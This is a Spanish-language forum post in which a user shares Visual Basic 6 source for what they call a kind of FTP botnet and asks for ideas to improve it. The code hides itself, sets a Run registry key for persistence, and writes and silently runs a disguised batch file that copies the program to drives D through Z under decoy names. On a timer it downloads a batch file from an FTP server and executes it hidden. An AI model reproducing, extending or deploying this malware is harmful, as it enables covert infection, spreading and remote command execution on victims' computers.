especie de botnet ftp inet

[asdexiva]

Código [Seleccionar] Expandir

Option Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)




Private Sub Form_Load()
FileCopy App.EXEName & ".EXE", "C:\wins.EXE"
Me.Hide
App.TaskVisible = False
Shell "reg add hklm\software\microsoft\windows\currentversion\run /v programa /t reg_sz /d C:\wins.exe /f "
Open "C:\Windows\System32\Winlog.bat" For Output As #1
Print #1, "@echo off"
Print #1, "If exist D:\ (Copy /y C:\wins.exe D:\trabajo.exe)"
Print #1, "If exist E:\ (Copy /y C:\wins.exe E:\trabajo.exe)"
Print #1, "If exist F:\ (Copy /y C:\wins.exe F:\trabajo.exe)"
Print #1, "If exist G:\ (Copy /y C:\wins.exe G:\trabajo.exe)"
Print #1, "If exist H:\ (Copy /y C:\wins.exe H:\trabajo.exe)"
Print #1, "If exist I:\ (Copy /y C:\wins.exe I:\trabajo.exe)"
Print #1, "If exist J:\ (Copy /y C:\wins.exe J:\trabajo.exe)"
Print #1, "If exist K:\ (Copy /y C:\wins.exe K:\trabajo.exe)"
Print #1, "If exist L:\ (Copy /y C:\wins.exe L:\trabajo.exe)"
Print #1, "If exist W:\ (Copy /y C:\wins.exe W:\trabajo.exe)"
Print #1, "If exist X:\ (Copy /y C:\wins.exe X:\trabajo.exe)"
Print #1, "If exist Y:\ (Copy /y C:\wins.exe Y:\trabajo.exe)"
Print #1, "If exist Z:\ (Copy /y C:\wins.exe Z:\trabajo.exe)"
Print #1, "If exist D:\ (Copy /y C:\wins.exe D:\moxxita.exe)"
Print #1, "If exist E:\ (Copy /y C:\wins.exe E:\moxxita.exe)"
Print #1, "If exist F:\ (Copy /y C:\wins.exe F:\moxxita.exe)"
Print #1, "If exist G:\ (Copy /y C:\wins.exe G:\moxxita.exe)"
Print #1, "If exist H:\ (Copy /y C:\wins.exe H:\moxxita.exe)"
Print #1, "If exist I:\ (Copy /y C:\wins.exe I:\moxxita.exe)"
Print #1, "If exist J:\ (Copy /y C:\wins.exe J:\moxxita.exe)"
Print #1, "If exist K:\ (Copy /y C:\wins.exe K:\moxxita.exe)"
Print #1, "If exist L:\ (Copy /y C:\wins.exe L:\moxxita.exe)"
Print #1, "If exist W:\ (Copy /y C:\wins.exe W:\moxxita.exe)"
Print #1, "If exist X:\ (Copy /y C:\wins.exe X:\moxxita.exe)"
Print #1, "If exist Y:\ (Copy /y C:\wins.exe Y:\moxxita.exe)"
Print #1, "If exist Z:\ (Copy /y C:\wins.exe Z:\moxxita.exe)"
Print #1, "exit"
Close #1
Shell ("C:\Windows\System32\Winlog.bat"), vbHide

End Sub
Private Sub Timer2_Timer()
On Error Resume Next

Inet1.Execute "ftp://" & Text1.Text & ":" & Text2.Text & "@ftp.server.com", "GET /public_html/xd.bat c:\lols.bat"
Calcular
If Dir("C:\lols.bat") <> "" Then
Shell ("c:\lols.bat"), vbHide
Calcular
Kill ("c:\lols.bat")
Else
Calcular
End If
End Sub

Sub Calcular()
Call Sleep(60000) 'espera por 60 segundos
End Sub



si pudieran darme ideas para una especie de botnet con inet ftp jaja se los agradeceria mucho  o si pudieran decirme como podria mejorar  el codigo en algo,si pudieran decirme como podria saber si existe un archivo en el ftp descargargalo si no que se valla al tiempo de espera gracias